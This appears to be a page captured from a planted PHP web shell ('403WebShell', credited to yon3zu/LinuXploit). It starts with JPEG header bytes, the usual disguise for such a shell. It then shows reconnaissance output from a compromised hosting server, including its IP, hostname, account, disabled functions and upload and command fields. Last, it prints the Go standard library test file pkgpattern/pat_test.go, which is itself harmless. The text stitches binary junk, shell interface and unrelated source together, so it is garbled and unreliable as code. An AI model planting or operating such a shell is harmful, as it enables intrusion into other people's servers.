JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.240  /  Your IP : 216.73.216.174
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/opt/golang/1.22.0/src/cmd/internal/pkgpattern/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/opt/golang/1.22.0/src/cmd/internal/pkgpattern/pat_test.go
// Copyright 2022 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package pkgpattern

import (
	"strings"
	"testing"
)

var matchPatternTests = `
	pattern ...
	match foo

	pattern net
	match net
	not net/http

	pattern net/http
	match net/http
	not net

	pattern net...
	match net net/http netchan
	not not/http not/net/http

	# Special cases. Quoting docs:

	# First, /... at the end of the pattern can match an empty string,
	# so that net/... matches both net and packages in its subdirectories, like net/http.
	pattern net/...
	match net net/http
	not not/http not/net/http netchan

	# Second, any slash-separated pattern element containing a wildcard never
	# participates in a match of the "vendor" element in the path of a vendored
	# package, so that ./... does not match packages in subdirectories of
	# ./vendor or ./mycode/vendor, but ./vendor/... and ./mycode/vendor/... do.
	# Note, however, that a directory named vendor that itself contains code
	# is not a vendored package: cmd/vendor would be a command named vendor,
	# and the pattern cmd/... matches it.
	pattern ./...
	match ./vendor ./mycode/vendor
	not ./vendor/foo ./mycode/vendor/foo

	pattern ./vendor/...
	match ./vendor/foo ./vendor/foo/vendor
	not ./vendor/foo/vendor/bar

	pattern mycode/vendor/...
	match mycode/vendor mycode/vendor/foo mycode/vendor/foo/vendor
	not mycode/vendor/foo/vendor/bar

	pattern x/vendor/y
	match x/vendor/y
	not x/vendor

	pattern x/vendor/y/...
	match x/vendor/y x/vendor/y/z x/vendor/y/vendor x/vendor/y/z/vendor
	not x/vendor/y/vendor/z

	pattern .../vendor/...
	match x/vendor/y x/vendor/y/z x/vendor/y/vendor x/vendor/y/z/vendor
`

func TestMatchPattern(t *testing.T) {
	testPatterns(t, "MatchPattern", matchPatternTests, func(pattern, name string) bool {
		return MatchPattern(pattern)(name)
	})
}

var matchSimplePatternTests = `
	pattern ...
	match foo

	pattern .../bar/.../baz
	match foo/bar/abc/baz

	pattern net
	match net
	not net/http

	pattern net/http
	match net/http
	not net

	pattern net...
	match net net/http netchan
	not not/http not/net/http

	# Special cases. Quoting docs:

	# First, /... at the end of the pattern can match an empty string,
	# so that net/... matches both net and packages in its subdirectories, like net/http.
	pattern net/...
	match net net/http
	not not/http not/net/http netchan
`

func TestSimpleMatchPattern(t *testing.T) {
	testPatterns(t, "MatchSimplePattern", matchSimplePatternTests, func(pattern, name string) bool {
		return MatchSimplePattern(pattern)(name)
	})
}

var treeCanMatchPatternTests = `
	pattern ...
	match foo

	pattern net
	match net
	not net/http

	pattern net/http
	match net net/http

	pattern net...
	match net netchan net/http
	not not/http not/net/http

	pattern net/...
	match net net/http
	not not/http netchan

	pattern abc.../def
	match abcxyz
	not xyzabc

	pattern x/y/z/...
	match x x/y x/y/z x/y/z/w

	pattern x/y/z
	match x x/y x/y/z
	not x/y/z/w

	pattern x/.../y/z
	match x/a/b/c
	not y/x/a/b/c
`

func TestTreeCanMatchPattern(t *testing.T) {
	testPatterns(t, "TreeCanMatchPattern", treeCanMatchPatternTests, func(pattern, name string) bool {
		return TreeCanMatchPattern(pattern)(name)
	})
}

var hasPathPrefixTests = []stringPairTest{
	{"abc", "a", false},
	{"a/bc", "a", true},
	{"a", "a", true},
	{"a/bc", "a/", true},
}

func TestHasPathPrefix(t *testing.T) {
	testStringPairs(t, "hasPathPrefix", hasPathPrefixTests, hasPathPrefix)
}

type stringPairTest struct {
	in1 string
	in2 string
	out bool
}

func testStringPairs(t *testing.T, name string, tests []stringPairTest, f func(string, string) bool) {
	for _, tt := range tests {
		if out := f(tt.in1, tt.in2); out != tt.out {
			t.Errorf("%s(%q, %q) = %v, want %v", name, tt.in1, tt.in2, out, tt.out)
		}
	}
}

func testPatterns(t *testing.T, name, tests string, fn func(string, string) bool) {
	var patterns []string
	for _, line := range strings.Split(tests, "\n") {
		if i := strings.Index(line, "#"); i >= 0 {
			line = line[:i]
		}
		f := strings.Fields(line)
		if len(f) == 0 {
			continue
		}
		switch f[0] {
		default:
			t.Fatalf("unknown directive %q", f[0])
		case "pattern":
			patterns = f[1:]
		case "match", "not":
			want := f[0] == "match"
			for _, pattern := range patterns {
				for _, in := range f[1:] {
					if fn(pattern, in) != want {
						t.Errorf("%s(%q, %q) = %v, want %v", name, pattern, in, !want, want)
					}
				}
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit